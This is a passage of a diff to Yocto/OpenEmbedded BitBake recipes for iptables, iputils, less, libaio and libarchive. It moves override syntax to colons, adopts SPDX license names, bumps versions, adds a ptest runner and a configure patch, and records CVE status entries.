24" 25"
@@ -27,6 +28,8 @@ inherit autotools pkgconfig systemd
27 28
28EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}" 29EXTRA_OECONF = "--with-kernel=${STAGING_INCDIR}"
29 30
31CFLAGS:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0"
32
30PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}" 33PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
31PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6," 34PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
32 35
@@ -36,15 +39,18 @@ PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libn
36# libnftnl recipe is in meta-networking layer(previously known as libnftables) 39# libnftnl recipe is in meta-networking layer(previously known as libnftables)
37PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl" 40PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl"
38 41
39do_configure_prepend() { 42do_configure:prepend() {
40 # Remove some libtool m4 files 43 # Remove some libtool m4 files
41 # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive. 44 # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive.
42 rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4 45 rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4
46
47 # Copy a header to fix out of tree builds
48 cp -f ${S}/libiptc/linux_list.h ${S}/include/libiptc/
43} 49}
44 50
45IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}" 51IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}"
46 52
47do_install_append() { 53do_install:append() {
48 install -d ${D}${IPTABLES_RULES_DIR} 54 install -d ${D}${IPTABLES_RULES_DIR}
49 install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR} 55 install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR}
50 56
@@ -65,20 +71,25 @@ do_install_append() {
65 -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \ 71 -e 's,@RULESDIR@,${IPTABLES_RULES_DIR},g' \
66 ${D}${systemd_system_unitdir}/ip6tables.service 72 ${D}${systemd_system_unitdir}/ip6tables.service
67 fi 73 fi
74
75 # if libnftnl is included, make the iptables symlink point to the nft-based binary by default
76 if ${@bb.utils.contains('PACKAGECONFIG', 'libnftnl', 'true', 'false', d)} ; then
77 ln -sf ${sbindir}/xtables-nft-multi ${D}${sbindir}/iptables
78 fi
68} 79}
69 80
70PACKAGES =+ "${PN}-modules ${PN}-apply" 81PACKAGES =+ "${PN}-modules ${PN}-apply"
71PACKAGES_DYNAMIC += "^${PN}-module-.*" 82PACKAGES_DYNAMIC += "^${PN}-module-.*"
72 83
73python populate_packages_prepend() { 84python populate_packages:prepend() {
74 modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='') 85 modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='')
75 if modules: 86 if modules:
76 metapkg = d.getVar('PN') + '-modules' 87 metapkg = d.getVar('PN') + '-modules'
77 d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules)) 88 d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules))
78} 89}
79 90
80RDEPENDS_${PN} = "${PN}-module-xt-standard" 91RDEPENDS:${PN} = "${PN}-module-xt-standard"
81RRECOMMENDS_${PN} = " \ 92RRECOMMENDS:${PN} = " \
82 ${PN}-modules \ 93 ${PN}-modules \
83 kernel-module-x-tables \ 94 kernel-module-x-tables \
84 kernel-module-ip-tables \ 95 kernel-module-ip-tables \
@@ -95,16 +106,18 @@ RRECOMMENDS_${PN} = " \
95 ', '', d)} \ 106 ', '', d)} \
96" 107"
97 108
98FILES_${PN} += "${datadir}/xtables" 109FILES:${PN} += "${datadir}/xtables"
99 110
100FILES_${PN}-apply = "${sbindir}/ip*-apply" 111FILES:${PN}-apply = "${sbindir}/ip*-apply"
101RDEPENDS_${PN}-apply = "${PN} bash" 112RDEPENDS:${PN}-apply = "${PN} bash"
102 113
103# Include the symlinks as well in respective packages 114# Include the symlinks as well in respective packages
104FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so" 115FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so"
105FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so" 116FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so ${libdir}/xtables/libxt_REDIRECT.so"
117FILES:${PN}-module-xt-nat += "${libdir}/xtables/libxt_SNAT.so ${libdir}/xtables/libxt_DNAT.so ${libdir}/xtables/libxt_MASQUERADE.so"
106 118
107ALLOW_EMPTY_${PN}-modules = "1" 119ALLOW_EMPTY:${PN}-modules = "1"
108 120
109INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so" 121INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so"
110INSANE_SKIP_${PN}-module-xt-ct = "dev-so" 122INSANE_SKIP:${PN}-module-xt-ct = "dev-so"
123INSANE_SKIP:${PN}-module-xt-nat = "dev-so"
diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
deleted file mode 100644
index d7367caf78..0000000000
--- a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
+++ /dev/null
@@ -1,46 +0,0 @@
1From 6e51d529988cfc0bb357751fd767e9f1478e2b81 Mon Sep 17 00:00:00 2001
2From: Alex Kiernan <alex.kiernan@gmail.com>
3Date: Thu, 13 Feb 2020 06:08:45 +0000
4Subject: [PATCH] rarpd: rdisc: Drop PrivateUsers
5
6Neither rarpd nor rdisc can gain the necessary capabilities with
7PrivateUsers enabled.
8
9Upstream-Status: Pending
10Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
11---
12 systemd/rarpd.service.in | 1 -
13 systemd/rdisc.service.in | 3 ++-
14 2 files changed, 2 insertions(+), 2 deletions(-)
15
16diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in
17index e600c10c93e6..f5d7621a7ce8 100644
18--- a/systemd/rarpd.service.in
19+++ b/systemd/rarpd.service.in
20@@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW
21 DynamicUser=yes
22 PrivateTmp=yes
23 PrivateDevices=yes
24-PrivateUsers=yes
25 ProtectSystem=strict
26 ProtectHome=yes
27 ProtectControlGroups=yes
28diff --git a/systemd/rdisc.service.in b/systemd/rdisc.service.in
29index 4e2a1ec9d0e5..a71b87d36b37 100644
30--- a/systemd/rdisc.service.in
31+++ b/systemd/rdisc.service.in
32@@ -8,9 +8,10 @@ After=network.target
33 EnvironmentFile=-/etc/sysconfig/rdisc
34 ExecStart=@sbindir@/rdisc -f -t $OPTIONS $SEND_ADDRESS $RECEIVE_ADDRESS
35
36+CapabilityBoundingSet=CAP_NET_RAW
37 AmbientCapabilities=CAP_NET_RAW
38 PrivateTmp=yes
39-PrivateUsers=yes
40+DynamicUser=yes
41 ProtectSystem=strict
42 ProtectHome=yes
43 ProtectControlGroups=yes
44--
452.17.1
46
diff --git a/meta/recipes-extended/iputils/iputils_20240117.bb b/meta/recipes-extended/iputils/iputils_20240117.bb
new file mode 100644
index 0000000000..3880689742
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20240117.bb
@@ -0,0 +1,59 @@
1SUMMARY = "Network monitoring tools"
2DESCRIPTION = "Utilities for the IP protocol, including \
3tracepath, tracepath6, ping, ping6 and arping."
4HOMEPAGE = "https://github.com/iputils/iputils"
5SECTION = "console/network"
6
7LICENSE = "BSD-3-Clause & GPL-2.0-or-later"
8
9LIC_FILES_CHKSUM = "file://LICENSE;md5=627cc07ec86a45951d43e30658bbd819"
10
11DEPENDS = "gnutls"
12
13SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https"
14SRCREV = "8372f355bdf7a9b0c79338dd8ef8464c00a5c4e2"
15
16S = "${WORKDIR}/git"
17
18UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
19
20CVE_STATUS[CVE-2000-1213] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
21CVE_STATUS[CVE-2000-1214] = "fixed-version: Fixed in 2000-10-10, but the versioning of iputils breaks the version order."
22
23PACKAGECONFIG ??= "libcap"
24PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
25PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
26PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
27PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
28
29inherit meson update-alternatives pkgconfig
30
31EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
32
33ALTERNATIVE_PRIORITY = "100"
34
35ALTERNATIVE:${PN}-ping = "ping"
36ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
37
38ALTERNATIVE:${PN}-ping6 = "ping6"
39ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
40
41SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff \
42 ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ping6', '', d)}"
43PACKAGES += "${SPLITPKGS}"
44
45ALLOW_EMPTY:${PN} = "1"
46RDEPENDS:${PN} += "${SPLITPKGS}"
47
48FILES:${PN} = ""
49FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
50FILES:${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
51FILES:${PN}-arping = "${base_bindir}/arping"
52FILES:${PN}-tracepath = "${base_bindir}/tracepath"
53FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
54
55do_install:append() {
56 if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'true', 'false', d)}; then
57 ln -sf ping ${D}/${base_bindir}/ping6
58 fi
59}
diff --git a/meta/recipes-extended/iputils/iputils_s20200821.bb b/meta/recipes-extended/iputils/iputils_s20200821.bb
deleted file mode 100644
index e43abf2629..0000000000
--- a/meta/recipes-extended/iputils/iputils_s20200821.bb
+++ /dev/null
@@ -1,71 +0,0 @@
1SUMMARY = "Network monitoring tools"
2DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
3tracepath, tracepath6, ping, ping6 and arping."
4HOMEPAGE = "https://github.com/iputils/iputils"
5SECTION = "console/network"
6
7LICENSE = "BSD & GPLv2+"
8
9LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
10
11DEPENDS = "gnutls"
12
13SRC_URI = "git://github.com/iputils/iputils \
14 file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
15 "
16SRCREV = "23c3782ae0c7f9c6ae59dbed8ad9204f8758542b"
17
18S = "${WORKDIR}/git"
19
20UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)"
21
22# Fixed in 2000-10-10, but the versioning of iputils
23# breaks the version order.
24CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214"
25
26PACKAGECONFIG ??= "libcap rarpd \
27 ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \
28 ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
29PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
30PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
31PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
32PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
33PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
34PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_unitdir}/system,,systemd"
35PACKAGECONFIG[tftpd] = "-DBUILD_TFTPD=true, -DBUILD_TFTPD=false,"
36PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
37PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
38
39inherit meson systemd update-alternatives
40
41EXTRA_OEMESON += "--prefix=${root_prefix}/"
42
43ALTERNATIVE_PRIORITY = "100"
44
45ALTERNATIVE_${PN}-ping = "ping"
46ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
47
48SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-rdisc \
49 ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
50 ${@bb.utils.contains('PACKAGECONFIG', 'tftpd', '${PN}-tftpd', '', d)} \
51 ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}"
52PACKAGES += "${SPLITPKGS}"
53
54ALLOW_EMPTY_${PN} = "1"
55RDEPENDS_${PN} += "${SPLITPKGS}"
56
57FILES_${PN} = ""
58FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
59FILES_${PN}-arping = "${base_bindir}/arping"
60FILES_${PN}-tracepath = "${base_bindir}/tracepath"
61FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
62FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
63FILES_${PN}-tftpd = "${base_bindir}/tftpd ${sysconfdir}/xinetd.d/tftp"
64FILES_${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_unitdir}/system/rarpd@.service"
65FILES_${PN}-rdisc = "${base_sbindir}/rdisc"
66FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
67
68SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
69 ${PN}-rdisc"
70SYSTEMD_SERVICE_${PN}-ninfod = "ninfod.service"
71SYSTEMD_SERVICE_${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/less/files/run-ptest b/meta/recipes-extended/less/files/run-ptest
new file mode 100644
index 0000000000..42a2869c84
--- /dev/null
+++ b/meta/recipes-extended/less/files/run-ptest
@@ -0,0 +1,3 @@
1#! /bin/sh
2
3./runtest -l /usr/bin/less -t lesstest -O d lt/*
diff --git a/meta/recipes-extended/less/less_563.bb b/meta/recipes-extended/less/less_643.bb
index 123522b5dc..67834bdd58 100644
--- a/meta/recipes-extended/less/less_563.bb
+++ b/meta/recipes-extended/less/less_643.bb
@@ -5,7 +5,7 @@ programs. Less offers many features beyond those that more does."
5HOMEPAGE = "http://www.greenwoodsoftware.com/" 5HOMEPAGE = "http://www.greenwoodsoftware.com/"
6SECTION = "console/utils" 6SECTION = "console/utils"
7 7
8# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less 8# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
9# Including email author giving permissing to use BSD 9# Including email author giving permissing to use BSD
10# 10#
11# From: Mark Nudelman <markn@greenwoodsoftware.com> 11# From: Mark Nudelman <markn@greenwoodsoftware.com>
@@ -19,24 +19,43 @@ SECTION = "console/utils"
19# --Mark 19# --Mark
20# 20#
21 21
22LICENSE = "GPLv3+ | BSD-2-Clause" 22LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
23LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ 23LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
24 file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \ 24 file://LICENSE;md5=1b2446f5c8632bf63a97d7a49750e1c6 \
25 " 25 "
26DEPENDS = "ncurses" 26DEPENDS = "ncurses"
27 27
28SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \ 28SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
29 " 29 file://run-ptest \
30 "
30 31
31SRC_URI[sha256sum] = "ce5b6d2b9fc4442d7a07c93ab128d2dff2ce09a1d4f2d055b95cf28dd0dc9a9a" 32SRC_URI[sha256sum] = "2911b5432c836fa084c8a2e68f6cd6312372c026a58faaa98862731c8b6052e8"
32 33
33UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html" 34UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
34 35
36inherit autotools ptest update-alternatives
37
38EXTRA_OEMAKE += " LESSTEST=1"
39
35inherit autotools update-alternatives 40inherit autotools update-alternatives
36 41
42do_compile_ptest () {
43 cd ${S}/lesstest
44 oe_runmake
45}
46
37do_install () { 47do_install () {
38 oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install 48 oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
39} 49}
40 50
41ALTERNATIVE_${PN} = "less" 51do_install_ptest () {
52 cp ${S}/lesstest/lesstest ${D}${PTEST_PATH}
53 cp ${S}/lesstest/runtest ${D}${PTEST_PATH}
54 cp ${S}/lesstest/lt_screen ${D}${PTEST_PATH}
55 cp -r ${S}/lesstest/lt ${D}${PTEST_PATH}
56}
57
58RDEPENDS:${PN}-ptest:append = " perl-module-getopt-std perl-module-cwd locale-base-en-us"
59
60ALTERNATIVE:${PN} = "less"
42ALTERNATIVE_PRIORITY = "100" 61ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/00_arches.patch b/meta/recipes-extended/libaio/libaio/00_arches.patch
index bec189f87c..18c8c546c1 100644
--- a/meta/recipes-extended/libaio/libaio/00_arches.patch
+++ b/meta/recipes-extended/libaio/libaio/00_arches.patch
@@ -1,4 +1,4 @@
1From ceba1e03e5b57cdae0b3b2d2c9afebc085c986d8 Mon Sep 17 00:00:00 2001 1From 546f2708ffa1aa44018be65172013289cf896710 Mon Sep 17 00:00:00 2001
2From: Qing He <qing.he@intel.com> 2From: Qing He <qing.he@intel.com>
3Date: Fri, 27 Aug 2010 10:15:31 +0800 3Date: Fri, 27 Aug 2010 10:15:31 +0800
4Subject: [PATCH] libaio: add new recipe 4Subject: [PATCH] libaio: add new recipe
@@ -8,9 +8,9 @@ Upstream-Status: Inappropriate [embedded specific]
8from openembedded, added by Qing He <qing.he@intel.com> 8from openembedded, added by Qing He <qing.he@intel.com>
9 9
10--- 10---
11 src/syscall-m68k.h | 78 ++++++++++++++++++ 11 src/syscall-m68k.h | 78 +++++++++++++++
12 src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++++++++++ 12 src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++
13 src/syscall-parisc.h | 146 +++++++++++++++++++++++++++++++++ 13 src/syscall-parisc.h | 146 ++++++++++++++++++++++++++++
14 src/syscall.h | 6 ++ 14 src/syscall.h | 6 ++
15 4 files changed, 453 insertions(+) 15 4 files changed, 453 insertions(+)
16 create mode 100644 src/syscall-m68k.h 16 create mode 100644 src/syscall-m68k.h
@@ -483,12 +483,12 @@ index 0000000..ff61746
483+} 483+}
484+ 484+
485diff --git a/src/syscall.h b/src/syscall.h 485diff --git a/src/syscall.h b/src/syscall.h
486index 9b9e9c1..9ecd3b4 100644 486index d2a117b..8cf8470 100644
487--- a/src/syscall.h 487--- a/src/syscall.h
488+++ b/src/syscall.h 488+++ b/src/syscall.h
489@@ -29,6 +29,12 @@ 489@@ -29,6 +29,12 @@
490 #include "syscall-sparc.h" 490 #include "syscall-sparc.h"
491 #elif defined(__aarch64__) || defined(__riscv) 491 #elif defined(__aarch64__) || defined(__loongarch__) || defined(__riscv)
492 #include "syscall-generic.h" 492 #include "syscall-generic.h"
493+#elif defined(__m68k__) 493+#elif defined(__m68k__)
494+#include "syscall-m68k.h" 494+#include "syscall-m68k.h"
diff --git a/meta/recipes-extended/libaio/libaio_0.3.112.bb b/meta/recipes-extended/libaio/libaio_0.3.113.bb
index b3606474a5..87ab22ed17 100644
--- a/meta/recipes-extended/libaio/libaio_0.3.112.bb
+++ b/meta/recipes-extended/libaio/libaio_0.3.113.bb
@@ -2,15 +2,15 @@ SUMMARY = "Asynchronous I/O library"
2DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface" 2DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
3HOMEPAGE = "http://lse.sourceforge.net/io/aio.html" 3HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
4 4
5LICENSE = "LGPLv2.1+" 5LICENSE = "LGPL-2.1-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499" 6LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
7 7
8SRC_URI = "git://pagure.io/libaio.git;protocol=https \ 8SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
9 file://00_arches.patch \ 9 file://00_arches.patch \
10 file://libaio_fix_for_mips_syscalls.patch \ 10 file://libaio_fix_for_mips_syscalls.patch \
11 file://system-linkage.patch \ 11 file://system-linkage.patch \
12 " 12 "
13SRCREV = "d025927efa75a0d1b46ca3a5ef331caa2f46ee0e" 13SRCREV = "1b18bfafc6a2f7b9fa2c6be77a95afed8b7be448"
14S = "${WORKDIR}/git" 14S = "${WORKDIR}/git"
15 15
16EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}" 16EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
diff --git a/meta/recipes-extended/libarchive/libarchive/configurehack.patch b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
new file mode 100644
index 0000000000..45fddd9147
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
@@ -0,0 +1,55 @@
1To work with autoconf 2.73, tweak the macro ordering in configure.in.
2
3Upstream-Status: Pending
4Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
5---
6 configure.ac | 26 +++++++++++++-------------
7 1 file changed, 13 insertions(+), 13 deletions(-)
8
9diff --git a/configure.ac b/configure.ac
10index 503bb75..e3101da 100644
11--- a/configure.ac
12+++ b/configure.ac
13@@ -414,6 +414,19 @@ if test "x$with_bz2lib" != "xno"; then
14 esac
15 fi
16
17+# Checks for typedefs, structures, and compiler characteristics.
18+AC_C_CONST
19+# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
20+# and MSVC. Use a customized version.
21+la_TYPE_UID_T
22+AC_TYPE_MODE_T
23+# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
24+# most systems... default to "long long" instead.
25+AC_CHECK_TYPE(off_t, [long long])
26+AC_TYPE_SIZE_T
27+AC_CHECK_TYPE(id_t, [unsigned long])
28+AC_CHECK_TYPE(uintptr_t, [unsigned int])
29+
30 AC_ARG_WITH([libb2],
31 AS_HELP_STRING([--without-libb2], [Don't build support for BLAKE2 through libb2]))
32
33@@ -678,19 +691,6 @@ fi
34
35 AC_SUBST(DEAD_CODE_REMOVAL)
36
37-# Checks for typedefs, structures, and compiler characteristics.
38-AC_C_CONST
39-# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
40-# and MSVC. Use a customized version.
41-la_TYPE_UID_T
42-AC_TYPE_MODE_T
43-# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
44-# most systems... default to "long long" instead.
45-AC_CHECK_TYPE(off_t, [long long])
46-AC_TYPE_SIZE_T
47-AC_CHECK_TYPE(id_t, [unsigned long])
48-AC_CHECK_TYPE(uintptr_t, [unsigned int])
49-
50 # Check for tm_gmtoff in struct tm
51 AC_CHECK_MEMBERS([struct tm.tm_gmtoff, struct tm.__tm_gmtoff],,,
52 [
53--
542.34.1
55
diff --git a/meta/recipes-extended/libarchive/libarchive_3.5.1.bb b/meta/recipes-extended/libarchive/libarchive_3.7.3.bb
index 1387b69066..bea91b6e97 100644
--- a/meta/recipes-extended/libarchive/libarchive_3.5.1.bb
+++ b/meta/recipes-extended/libarchive/libarchive_3.7.3.bb
@@ -7,15 +7,10 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
7 7
8DEPENDS = "e2fsprogs-native" 8DEPENDS = "e2fsprogs-native"
9 9
10PACKAGECONFIG ?= "zlib bz2 xz lzo" 10PACKAGECONFIG ?= "zlib bz2 xz zstd ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)}"
11
12PACKAGECONFIG_append_class-target = "\
13 libxml2 \
14 ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
15"
16 11
17DEPENDS_BZIP2 = "bzip2-replacement-native" 12DEPENDS_BZIP2 = "bzip2-replacement-native"
18DEPENDS_BZIP2_class-target = "bzip2" 13DEPENDS_BZIP2:class-target = "bzip2"
19 14
20PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl," 15PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
21PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr," 16PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
@@ -23,25 +18,31 @@ PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
23PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2}," 18PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
24PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz," 19PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
25PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl," 20PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
21PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
26PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2," 22PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
27PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat," 23PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
28PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo," 24PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
29PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle," 25PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
30PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4," 26PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
31PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls," 27PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
28PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
32 29
33EXTRA_OECONF += "--enable-largefile" 30EXTRA_OECONF += "--enable-largefile --without-iconv"
34 31
35SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz" 32SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
33SRC_URI += "file://configurehack.patch"
34UPSTREAM_CHECK_URI = "http://libarchive.org/"
35
36SRC_URI[sha256sum] = "f27a97bc22ceb996e72502df47dc19f99f9a0f09181ae909f09f3c9eb17b67e2"
36 37
37SRC_URI[sha256sum] = "9015d109ec00bb9ae1a384b172bf2fc1dff41e2c66e5a9eeddf933af9db37f5a" 38CVE_STATUS[CVE-2023-30571] = "upstream-wontfix: upstream has documented that reported function is not thread-safe"
38 39
39inherit autotools update-alternatives pkgconfig 40inherit autotools update-alternatives pkgconfig
40 41
41CPPFLAGS += "-I${WORKDIR}/extra-includes" 42CPPFLAGS += "-I${WORKDIR}/extra-includes"
42 43
43do_configure[cleandirs] += "${WORKDIR}/extra-includes" 44do_configure[cleandirs] += "${WORKDIR}/extra-includes"
44do_configure_prepend() { 45do_configure:prepend() {
45 # We just need the headers for some type constants, so no need to 46 # We just need the headers for some type constants, so no need to
46 # build all of e2fsprogs for the target 47 # build all of e2fsprogs for the target
47 cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/ 48 cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
@@ -50,16 +51,16 @@ do_configure_prepend() {
50ALTERNATIVE_PRIORITY = "80" 51ALTERNATIVE_PRIORITY = "80"
51 52
52PACKAGES =+ "bsdtar" 53PACKAGES =+ "bsdtar"
53FILES_bsdtar = "${bindir}/bsdtar" 54FILES:bsdtar = "${bindir}/bsdtar"
54 55
55ALTERNATIVE_bsdtar = "tar" 56ALTERNATIVE:bsdtar = "tar"
56ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar" 57ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
57ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar" 58ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
58 59
